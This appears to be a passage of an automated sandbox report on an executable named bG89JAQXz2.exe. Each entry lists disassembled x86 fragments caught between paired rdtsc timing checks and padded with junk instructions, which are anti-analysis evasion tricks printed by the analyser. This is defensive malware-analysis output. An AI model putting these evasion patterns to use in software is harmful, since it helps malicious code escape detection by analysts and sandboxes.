Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2CEA6 second address: F2CF33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add dword ptr [ebp+122D20CAh], ebx 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F7BE1432918h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a and bx, A3D4h 0x0000003f xor dword ptr [ebp+122D5774h], ebx 0x00000045 mov eax, dword ptr [ebp+122D06B5h] 0x0000004b jmp 00007F7BE143291Fh 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push ebp 0x00000055 call 00007F7BE1432918h 0x0000005a pop ebp 0x0000005b mov dword ptr [esp+04h], ebp 0x0000005f add dword ptr [esp+04h], 0000001Ah 0x00000067 inc ebp 0x00000068 push ebp 0x00000069 ret 0x0000006a pop ebp 0x0000006b ret 0x0000006c cmc 0x0000006d nop 0x0000006e push edx 0x0000006f pushad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2DEBB second address: F2DEC5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7BE163C2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2EF1A second address: F2EF20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F33FDB second address: F33FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F3459A second address: F345B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F345B7 second address: F34642 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F7BE163C2C7h 0x00000008 jmp 00007F7BE163C2C1h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F7BE163C2B8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c mov bh, 4Eh 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F7BE163C2B8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Bh 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a push 00000000h 0x0000004c pushad 0x0000004d push eax 0x0000004e mov dword ptr [ebp+122D57C5h], eax 0x00000054 pop edi 0x00000055 movzx esi, cx 0x00000058 popad 0x00000059 mov bl, 60h 0x0000005b xchg eax, esi 0x0000005c push eax 0x0000005d push edx 0x0000005e jmp 00007F7BE163C2C6h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F321FB second address: F32229 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432923h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F7BE1432924h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F32229 second address: F3222F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F3222F second address: F32233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F35677 second address: F3567D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F3567D second address: F35682 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F34844 second address: F3484F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F3579B second address: F357A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F3859C second address: F385A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED7700 second address: ED7718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE1432924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED7718 second address: ED772B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7BE163C2BBh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40CAD second address: F40CBB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40DE4 second address: F40DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40DEE second address: F40DFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jbe 00007F7BE1432916h 0x0000000c pushad 0x0000000d popad 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40DFD second address: F40E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C0h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40E12 second address: F40E18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40F5D second address: F40F61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40F61 second address: F40F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7BE1432924h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F40F7F second address: F40F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4725F second address: F47263 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F472F8 second address: F472FD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDC825 second address: EDC82A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F49C45 second address: F49C4B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F49C4B second address: F49C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F7BE143294Ch 0x0000000c push ecx 0x0000000d jmp 00007F7BE1432923h 0x00000012 pop ecx 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F946 second address: F4F94A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED4213 second address: ED4218 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: ED4218 second address: ED4234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2C4h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4EEAF second address: F4EEBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jbe 00007F7BE1432916h 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F017 second address: F4F029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jg 00007F7BE163C2B8h 0x0000000d pushad 0x0000000e popad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F029 second address: F4F041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE143291Ah 0x00000009 pop edx 0x0000000a popad 0x0000000b push esi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F15A second address: F4F167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edi 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F2F8 second address: F4F33E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F7BE1432925h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jbe 00007F7BE1432916h 0x00000019 pushad 0x0000001a popad 0x0000001b jg 00007F7BE1432916h 0x00000021 jmp 00007F7BE1432924h 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F615 second address: F4F62F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F7BE163C2C0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F4F62F second address: F4F63B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F7BE1432916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F54E8A second address: F54E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53C55 second address: F53C73 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F7BE1432916h 0x00000008 jmp 00007F7BE1432924h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53C73 second address: F53C7D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7BE163C2CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53C7D second address: F53C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE1432922h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53C99 second address: F53C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53C9F second address: F53CAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53CAA second address: F53CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53F5D second address: F53F8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432925h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F7BE143291Bh 0x00000011 jnp 00007F7BE1432916h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53F8B second address: F53F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53F91 second address: F53F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F53F95 second address: F53F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F54798 second address: F547BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnc 00007F7BE1432916h 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ecx 0x0000000f jmp 00007F7BE143291Dh 0x00000014 popad 0x00000015 push ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jns 00007F7BE1432916h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F58F06 second address: F58F2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2BFh 0x00000009 pop edx 0x0000000a push edx 0x0000000b jmp 00007F7BE163C2BAh 0x00000010 jc 00007F7BE163C2B6h 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F58F2C second address: F58F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432924h 0x00000007 jmp 00007F7BE143291Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jno 00007F7BE143291Ch 0x00000015 jnl 00007F7BE1432918h 0x0000001b push ebx 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F5BBD0 second address: F5BBE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F5BBE5 second address: F5BBF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F62377 second address: F623B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007F7BE163C2B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007F7BE163C2C6h 0x00000012 jmp 00007F7BE163C2C0h 0x00000017 jmp 00007F7BE163C2C3h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F623B3 second address: F623B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F623B7 second address: F623D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2C6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F623D3 second address: F623D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F623D9 second address: F623DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60D4E second address: F60D63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE143291Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61000 second address: F61006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61006 second address: F6100C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F6100C second address: F6101D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F7BE163C2BCh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F6101D second address: F61037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7BE1432926h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61182 second address: F61186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61311 second address: F61329 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432924h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61329 second address: F61332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61332 second address: F61348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7BE143291Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61661 second address: F616C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C7h 0x00000007 jmp 00007F7BE163C2C7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edi 0x0000000f push ebx 0x00000010 jmp 00007F7BE163C2C0h 0x00000015 pushad 0x00000016 jmp 00007F7BE163C2C7h 0x0000001b push eax 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61B05 second address: F61B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7BE1432916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61B0F second address: F61B1C instructions: 0x00000000 rdtsc 0x00000002 js 00007F7BE163C2B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61DBF second address: F61DCE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jne 00007F7BE1432916h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F61DCE second address: F61DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7BE163C2C0h 0x00000009 pop ebx 0x0000000a jo 00007F7BE163C2D0h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EFFE77 second address: EFFE8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EFFE8D second address: EFFE9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F7BE163C2B6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60A60 second address: F60A66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60A66 second address: F60A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60A6A second address: F60A86 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F7BE1432920h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60A86 second address: F60A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7BE163C2B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F60A90 second address: F60AA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432920h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F66C12 second address: F66C32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE163C2C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F66C32 second address: F66C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jno 00007F7BE1432916h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDFEA3 second address: EDFEBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 je 00007F7BE163C2B6h 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jbe 00007F7BE163C2B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: EDFEBB second address: EDFEE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE1432921h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F2160D second address: F21613 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\bG89JAQXz2.exe	RDTSC instruction interceptor: First address: F216F3 second address: F21707 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7BE143291Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
